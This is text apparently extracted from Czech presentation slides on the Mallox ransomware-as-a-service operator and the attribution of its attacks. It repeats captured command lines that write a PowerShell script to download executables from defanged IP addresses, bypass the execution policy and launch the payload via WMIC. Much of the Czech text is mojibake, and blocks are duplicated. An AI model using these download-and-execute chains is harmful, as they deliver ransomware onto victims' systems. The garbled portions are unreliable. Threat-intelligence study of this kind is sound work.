%TEMP%\ \ updt.ps1 & powershell  - ExecutionPolicy  
Bypass C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 
& WMIC process call create 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ""tzt.exe

tzt.bat



FOR PARTNERS

Za oponou kyberútoku | atribuceRaaSMallox

%SYSTEM%\ cmd.exe "C: \ Windows\ \ System32\ \ cmd.exe" /C echo $cl = New - Object 
System.Net.WebClient >C:?\ ProgramData\ \ updt.ps1 & echo 
$cl.DownloadFile (" hxxp://80.66.75[.]47/ Dxccaejs.exe ", "C:? \ ProgramData\ \ tzt.bat ") >> 
C:? \ ProgramData\ \ updt.ps1 & powershell  ƵExecutionPolicy  Bypass C:? \ ProgramData\ \ updt.ps1 & 
WMIC process call create "C:? \ ProgramData\ \ tzt.bat "

Administrator: C:\ \Windows\system32\cmd.exe

/C echo $cl = New - Object System.Net.WebClient  
>%TEMP%\ updt.ps1 & echo 
$cl.DownloadFile (" hXXp://80[.]66.75]]]].40/ XXXXX
XXXX.exe", "%TEMP%\ xxxx.exe ") >> %TEMP%\ updt.ps1 
& powershell  - ExecutionPolicy  Bypass 
%TEMP%\ updt.ps1 & WMIC process call create 
"%TEMP%\ XXXXXXXX.exe"

" \ "C: \ \ Windows\ \ \ \ System32\ \ \ \ cmd.exe\ " /C echo $cl 
= New- Object System.Net.WebClient  > 
C:\ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 & echo 
$cl.DownloadFile ( \ " hxxp://80.66.75[.]36/ aRX.exe\ ", 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ") >> 
%TEMP%\ \ updt.ps1 & powershell  - ExecutionPolicy  
Bypass C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 
& WMIC process call create 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ""

WMIC process call create

WMIC process call create

WMIC process call create



FOR PARTNERS

Za oponou kyberútoku | atribuceRaaSMallox

%SYSTEM%\ cmd.exe "C: \ Windows\ \ System32\ \ cmd.exe" /C echo $cl = New - Object 
System.Net.WebClient >C:?\ ProgramData\ \ updt.ps1 & echo 
$cl.DownloadFile (" hxxp://80.66.75[.]47/ Dxccaejs.exe ", "C:? \ ProgramData\ \ tzt.bat ") >> 
C:? \ ProgramData\ \ updt.ps1 & powershell  ƵExecutionPolicy  Bypass C:? \ ProgramData\ \ updt.ps1 & 
WMIC process call create "C:? \ ProgramData\ \ tzt.bat "

Administrator: C:\ \Windows\system32\cmd.exe

/C echo $cl = New - Object System.Net.WebClient  
>%TEMP%\ updt.ps1 & echo 
$cl.DownloadFile (" hXXp://80[.]66.75]]]].40/ XXXXX
XXXX.exe", "%TEMP%\ xxxx.exe ") >> %TEMP%\ updt.ps1 
& powershell  - ExecutionPolicy  Bypass 
%TEMP%\ updt.ps1 & WMIC process call create 
"%TEMP%\ XXXXXXXX.exe"

" \ "C: \ \ Windows\ \ \ \ System32\ \ \ \ cmd.exe\ " /C echo $cl 
= New- Object System.Net.WebClient  > 
C:\ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 & echo 
$cl.DownloadFile ( \ " hxxp://80.66.75[.]36/ aRX.exe\ ", 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ") >> 
%TEMP%\ \ updt.ps1 & powershell  - ExecutionPolicy  
Bypass C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 
& WMIC process call create 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ""

/C echo $cl

/C echo $cl

/C echo $cl



FOR PARTNERS

Za oponou kyberútoku | atribuceRaaSMallox

%SYSTEM%\ cmd.exe "C: \ Windows\ \ System32\ \ cmd.exe" /C echo $cl = New - Object 
System.Net.WebClient >C:?\ ProgramData\ \ updt.ps1 & echo 
$cl.DownloadFile (" hxxp://80.66.75[.]47/ Dxccaejs.exe ", "C:? \ ProgramData\ \ tzt.bat ") >> 
C:? \ ProgramData\ \ updt.ps1 & powershell  ƵExecutionPolicy  Bypass C:? \ ProgramData\ \ updt.ps1 & 
WMIC process call create "C:? \ ProgramData\ \ tzt.bat "

Administrator: C:\ \Windows\system32\cmd.exe

/C echo $cl = New - Object System.Net.WebClient  
>%TEMP%\ updt.ps1 & echo 
$cl.DownloadFile (" hXXp://80[.]66.75]]]].40/ XXXXX
XXXX.exe", "%TEMP%\ xxxx.exe ") >> %TEMP%\ updt.ps1 
& powershell  - ExecutionPolicy  Bypass 
%TEMP%\ updt.ps1 & WMIC process call create 
"%TEMP%\ XXXXXXXX.exe"

" \ "C: \ \ Windows\ \ \ \ System32\ \ \ \ cmd.exe\ " /C echo $cl 
= New- Object System.Net.WebClient  > 
C:\ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 & echo 
$cl.DownloadFile ( \ " hxxp://80.66.75[.]36/ aRX.exe\ ", 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ") >> 
%TEMP%\ \ updt.ps1 & powershell  - ExecutionPolicy  
Bypass C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ updt.ps1 
& WMIC process call create 
\ "C: \ Users\ MSSQLS~1\ AppData\ Local \ Temp\ tzt.exe \ ""

%TEMP%\ \ updt.ps1

\ ProgramData\ \ updt.ps1 

%TEMP%\ updt.ps1



FOR PARTNERS

Za oponou kyberútoku | atribuceRaaSMallox

Operátor Mallox - Ransomware as a Service

Å¢ǾǻǊŎƛ ǊŀƴǎƻƳǿŀǊǳ

ÅAktivníod roku 2021

ÅTaké známí pod názvy TargetCompanynebo Fargo

ÅwǳǎƪƻƧŀȊȅőƴł ǎƪǳǇƛƴŀ

Å{ƛƭƴŞ ǑƛŦǊƻǾŀŎƝ ŀƭƎƻǊƛǘƳȅ

Å½łƪŀȊ ǵǘƻőŜƴƝ ƴŀ ƴŜƳƻŎƴƛŎŜ ŀ ǾȊŘŠƭłǾŀŎƝ ƛƴǎǘƛǘǳŎŜ

Å±ȅōƝǊŀƧƝ ǎƛ ǇƻǳȊŜ ǊǳǎƪƻƧŀȊȅőƴŞ ǇŀǊǘƴŜǊȅ

ÅbŀōƝȊƝ ŀȌ ул҈ ǇƻŘƝƭ Ȋ ǾȇƪǳǇƴŞƘƻ ǇŀǊǘƴŜǊǻƳ



Reálná ukázka










